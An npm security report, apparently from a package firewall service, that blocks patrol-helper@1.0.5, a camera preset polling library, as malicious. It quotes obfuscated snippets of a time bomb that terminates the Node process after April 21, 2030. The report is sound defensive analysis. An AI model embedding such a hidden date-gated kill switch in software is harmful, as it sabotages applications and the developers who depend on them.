---
canonical: "https://firewall.lpm.dev/npm/patrol-helper"
markdown: "https://firewall.lpm.dev/npm/patrol-helper/report.md"
package: "patrol-helper"
report_status: "published"
title: "patrol-helper@1.0.5 npm security report"
verdict: "malicious"
version: "1.0.5"
---

# patrol-helper@1.0.5 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — The importing application is terminated, interrupting its operation.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Destructive Action
- **Selected version:** 1.0.5
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The bundled entrypoint performs a time-triggered process termination during module evaluation. That destructive behavior is not explained by the package's stated purpose and warrants blocking publication.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 97.0%
- **Started:** 2026-10-28T17:40:02.227Z
- **Finished:** 2026-10-28T17:41:24.895Z
- **Download time:** 511 ms
- **Static scan time:** 84 ms
- **AI review time:** 82072 ms
- **Total time:** 82668 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** The entrypoint contains an unexplained date gate that terminates the Node process after April 21, 2030. This behavior is unrelated to the package's stated polling purpose.

- **Trigger:** Importing the package after the embedded date has passed.

- **Impact:** The importing application is terminated, interrupting its operation.

- **Evidence paths:** dist/patrol-helper.min.js

- **Review source:** ai\_review

- **Reviewed:** 2026-10-28T17:41:24.895Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** During module evaluation, the bundle compares the current date with the embedded date and exits the process when the date has passed.

- **Attack narrative:** Importing this library after April 21, 2030 causes its entrypoint to terminate the Node process. The manifest describes camera preset polling and provides no context for this cutoff. This is concrete, destructive runtime behavior.

- **Rationale:** The bundled entrypoint performs a time-triggered process termination during module evaluation. That destructive behavior is not explained by the package's stated purpose and warrants blocking publication.

### Review decision

- **Verdict:** Malicious

- **Confidence:** 97.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The manifest describes a camera preset polling library and loads the bundled entrypoint., The bundle contains an embedded date of April 21, 2030., At module evaluation, the bundle compares that date with the current time and exits the Node process once the date has passed.

## Affected versions and remediation

This report applies to patrol-helper@1.0.5.

- Avoid installing patrol-helper@1.0.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. High: Obfuscated Payload Loader
- **Category:** Source
- **Confidence:** 86.0%
- **Path:** dist/patrol-helper.min.js
- **Public source:** [View source](<https://unpkg.com/patrol-helper@1.0.5/dist/patrol-helper.min.js>)

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

Public source snippet (untrusted):

```javascript
L5: */
L6: function a0_0x5c0a(){var _0x323a3e=['Cannot\x20call\x20a\x20class\x20as\x20a\x20function','onPause','__proto__','presetPoller','countdown','forward','amd','dealWithLastPatrol','onS...
```

### 3. High: Obfuscated
- **Category:** Supply Chain
- **Confidence:** 100.0%

Package source appears deliberately obfuscated.

### 4. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 100.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 5. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 97.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/patrol-helper@1.0.5/package.json>)

The manifest describes a camera preset polling library and loads the bundled entrypoint.

Public source snippet (untrusted):

```json
"name": "patrol-helper",
  "version": "1.0.5",
  "description": "A javaScript library designed to help developers manage camera preset polling",
  "main": "dist/patrol-helper.min.js",
  "scripts": {
```

### 6. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 97.0%
- **Path:** dist/patrol-helper.min.js
- **Public source:** [View source](<https://unpkg.com/patrol-helper@1.0.5/dist/patrol-helper.min.js>)

The bundle contains an embedded date of April 21, 2030.

Public source snippet (untrusted):

```javascript
2030-4-21','2526706puAtth','1.0.5','hasOwnProperty','parse','stop','size','isFirst','getOwnPropertyDescriptor','stopCb',
```

### 7. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 97.0%
- **Path:** dist/patrol-helper.min.js
- **Public source:** [View source](<https://unpkg.com/patrol-helper@1.0.5/dist/patrol-helper.min.js>)

At module evaluation, the bundle compares that date with the current time and exits the Node process once the date has passed.

Public source snippet (untrusted):

```javascript
new Date(_0x2b3a70(0x1d0))<_0x561e66&&process[_0x2b3a70(0x1b6)](0x1);var _0x32105d=_0x2b3a70(0x1d2);const _0xdefac0={'createPresetPoller':_0x537042,'createScreenPoller':_0x546d2b,'createSinglePollerManager':_0x3394ee,'createMutiPollerManager':_0x195db9,'create
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 10
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** patrol-helper
- **Ecosystem:** npm
- **Version:** 1.0.5
- **License:** MIT
- **Version published:** 2026-10-28T06:59:01.673Z
- **Package first seen:** 2026-10-28T17:41:24.895Z
- **Package last seen:** 2026-10-28T17:41:24.895Z
- **Known versions:** 1
- **Latest version:** 1.0.5
- **Appeal under review:** No
- **Description:** A javaScript library designed to help developers manage camera preset polling
- **Author:** upsidedowncake
- **Keywords:** setTimeout, setInterval
- **Artifact files:** 4
- **Artifact unpacked size:** 87,942 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/patrol-helper>)
